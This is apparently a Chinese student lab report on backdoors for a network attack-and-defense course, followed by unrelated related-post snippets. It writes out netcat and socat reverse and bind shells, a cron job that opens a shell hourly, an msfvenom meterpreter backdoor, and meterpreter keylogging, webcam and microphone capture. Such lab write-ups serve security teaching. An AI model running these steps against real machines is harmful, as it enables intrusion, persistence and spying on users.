# 2017-2018-2 20155319『网络对抗技术』Exp2:后门原理与实践
2017-2018-2 20155319『网络对抗技术』Exp2:后门原理与实践
1.实验准备
一、实验说明
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
二、问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 在下载东西时候没有从官方网站,有捆绑软件或后门
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- win:修改注册表、引诱我们点击从而执行
lunix:绑定注入shellcode开启后门 - 问:Meterpreter有哪些给你映像深刻的功能?
- 远程控制摄像头、键击等用户关键信息
实验过程记录
任务一:Windows获得Linux Shell
在Windows下使用
ipconfig查看本机IP:

使用ncat.exe程序监听本机的5319端口
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5319端口
成功获得Kali的shell,如下图所示:

任务二:Linux获得Windows Shell
1. 在Kali环境中使用ifconfig查看IP
2. 使用nc指令监听`5319`端口
3. 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的`5319`端口
4. Kali下可以看到Windows的命令提示,可以输入Windows命令:

任务三:使用nc传输数据
1. Windows下监听5319端口:
2. Kali下连接到Windows的5319端口:
3. 传输数据:

3. Meterpreter
任务一:使用netcat获取主机操作Shell,cron启动
在Windows系统下,监听5319端口
用
crontab -e指令编辑一条定时任务,选择第三个选项:

在最后一行添加48 * * * * /bin/netcat 192.168.3.103 5319 -e /bin/sh,意思是在每个小时的第48分钟反向连接Windows主机的5319端口:(注意是虚拟机的时间):

当时间到了,此时已经获得了Kali的shell,可以输入指令:

任务二:使用socat获取主机操作Shell, 任务计划启动
相关知识:
- socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options 是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实验过程
1.Windows+X,然后选择“控制面板”(win8下打开控制面板)
2.右上角“查看方式”选择“大图标”
3.点击管理程序->点击任务计划程序
4.选择上方菜单栏中的“操作”->“创建任务”
5.输入任务名
6.新建触发器,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5319 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5319,同时把cmd.exe的stderr重定向到stdout上
7.创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
8.socat - tcp:192.168.3.103:5319,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5319端口,此时可以发现已经成功获得了一个cmd shell:(此处的IP地址为WindowsIP)


任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.132 LPORT=5319 -f exe > backdoor.exe,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“backdoor.exe”
2.在Windows下执行ncat.exe -l 5319 > 20155312_backdoor.exe,这样被控主机就进入了接收文件模式

3.在Linux中执行nc 192.168.50.132 5319 < backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
4.传送接收文件成功,如下图所示:

5.在Kali中打开一个终端,使用msfconsole指令进入msf控制台
6.接着输入use exploit/multi/handler使用监听模块,设置payload
7.set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
8.set LHOST 192.168.50.132,这里用的是LinuxIP,和生成后门程序时指定的IP相同
9.set LPORT 5319,同样要使用相同的端口

10.关闭所有杀毒软件,并开始监听

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频:(可以+“-d 时间”来设定录制时间)
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用screenshot指令可以进行截屏


拍照后用ncat把图片传到电脑


实验中遇到的问题
1.在设置每多少分钟启动时是虚拟机的时间,不是电脑本身的时间:

2.msfconsole启动的时候出现问题:

百度了答案:是因为kali2.0的取消了metasploit的数据库
https://www.cnblogs.com/Hi-blog/p/6795811.html
# 2017-2018-2 20155319『网络对抗技术』Exp2:后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 <网络对抗技术>Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0. ...
- 2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及基础问题回答 常用后门工具 netcat Win获得Linux Shell Linux获得Win Sh ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
随机推荐
- ArcGIS 中取出面上最大的Z值的坐标点
def MaxZ(shape): line = shape.getPart(0) pnt = line.next() maxValue = float("-in ...
- Android系统执行Java jar程序 -- dalvik运行dex Java工程
本文仅针对纯java工程执行进行诠释,一般在PC平台作为jar包形式存在,在Android平台则以dex包形式存在. Java属于高级程序语言,Java程序需要运行在特定的虚拟机中,虚拟机将Java字 ...
- 声明元素<%! %>、Scriptlet元素<% %>、表达式元素<%= %>、注释元素、输出特殊符号<%和%>
声明元素 <%! 类成员声明或方法声明 %> 在声明元素中编写的代码,将转译为Servlet中的类成员或方法. 重新定义jspInit()方法,或是在jspDestroy(),就是在声明元 ...
- 将window的shell脚本通过ftp传输到Linux服务器后, shell脚本中执行时提示“没有那个文件或目录”的解决办法
出现bad interpreter:No such file or directory的原因,是文件格式的问题.这个文件是在Windows下编写的.换行的方式与Unix不一样,但是在vim下面如果不S ...
- 学习git踩坑之路
第一次使用git: 1.使用CentOS Linux release 7.3.1611 (Core),内核版本3.10.0-514.el7.x86_64 2.安装git: root权限运行:yum ...
- Innodb页面存储结构-2
上一篇<Innodb页面存储结构-1>介绍了Innodb页面存储的总体结构,本文会介绍页面的详细内容,主要包括页头.页尾和记录的详细格式. 学习数据结构时都说程序等于数据结构+算法,而在i ...
- python终端总是无法删除字符
yum install readline-devel
- 为notifyIcon.icon属性赋图片
System.Drawing.Bitmap bp; bp = new Bitmap(Application.StartupPath + @"\image\" + MeiYeShuo ...
- 【转】Nginx学习---Nginx&&Redis&&hcache三层缓存架构总结
[原文]https://www.toutiao.com/i6594307974817120782/ 摘要: 对于高并发架构,毫无疑问缓存是最重要的一环,对于大量的高并发,可以采用三层缓存架构来实现,n ...
- SQLServer 删除表中的重复数据
create table Student( ID varchar(10) not null, Name varchar(10) not null, ); insert in ...